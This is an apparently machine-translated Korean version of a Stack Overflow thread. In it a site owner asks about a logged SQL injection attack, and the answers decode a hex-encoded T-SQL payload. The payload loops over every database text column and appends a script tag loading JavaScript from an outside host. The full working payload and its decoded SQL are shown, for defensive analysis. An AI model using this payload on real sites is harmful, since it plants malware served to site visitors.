문제

지난 몇 주 동안 여러 SQL 주사 공격을 받고있는 공개 웹 사이트가 있습니다. 나는 독점적으로 매개 변수 저장 절차를 사용하므로 성공적인 공격이지만 최근 로그는 흥미로운 기술을 보여주었습니다.

명확성을 위해 라인 브레이크가 추가되었습니다

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
404046455443485F5354415455533D302920424547494E20657865632827757064617465 
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

누구든지 "캐스트와 exec"가 무엇을 시도하고 있는지에 대해 밝힐 수 있습니까?

도움이 되었습니까?

해결책

아래는 그들이 밀 으려고했던 디코딩 된 SQL입니다.

DECLARE @T varchar(255),
        @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
  FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

다른 팁

16 진수에서 chars로 디 시퍼를 사용하면 모든 데이터베이스 테이블을 거치는 것처럼 보이면 텍스트/숯 유형의 모든 열을 선택 하고이 유형의 각 값의 끝에서 악성 스크립트 실행을 추가하십시오. http://www2.s800qn.cn/csrss/w.js. 이제 웹 사이트에 데이터베이스에서 검색된 텍스트 데이터를 탈출하지 않는 곳이 하나 이상인 경우 사이트 사용자는이 악성 스크립트가 기계에서 실행됩니다.

예를 들어 MySQL에서 실행하십시오.

select CAST(0x44...72 AS CHAR(4000)) as a;

그리고 당신은 알 수 있습니다. Ishmaeel은 코드를 붙여 넣었습니다.

이것은 대상이 아닌 SQLServer 웜입니다.

나는 우리가 전에이 공격을 받았다고 생각합니다. 삽입하려고합니다 <script> 데이터베이스의 모든 테이블의 모든 필드에 태그를 지정합니다.

데이터베이스를 <script> 페이지에 표시되는 태그. URL을 통해 정크를 밀려고하면 대부분의 서버가 폭발하기 때문에 인코딩됩니다.

이와 같은 대부분의 것은 쿼리 스트링으로 무엇이든 부딪 칠 것이라는 점에서 무작위에 해당하는 공격입니다. QueryStrings의 SQL이 실행되지 않도록 사이트를 테스트하십시오. 매개 변수 쿼리 만 사용합니다 ~해야 한다 당신을 덮으십시오.

16 진 코드를 디키퍼하는 가장 간단한 파이썬 알고리즘은 다음과 같습니다.

text = "4445434C415245204054207661726368617228323535292C404..."

def getText():
    for i in range(0, len(text), 2):
        byte = text[i:i+2]
        char = int(byte, 16)
        toPrint = chr(char)
        yield toPrint

print ''.join(getText())
라이센스 : CC-BY-SA ~와 함께 속성
제휴하지 않습니다 StackOverflow
scroll top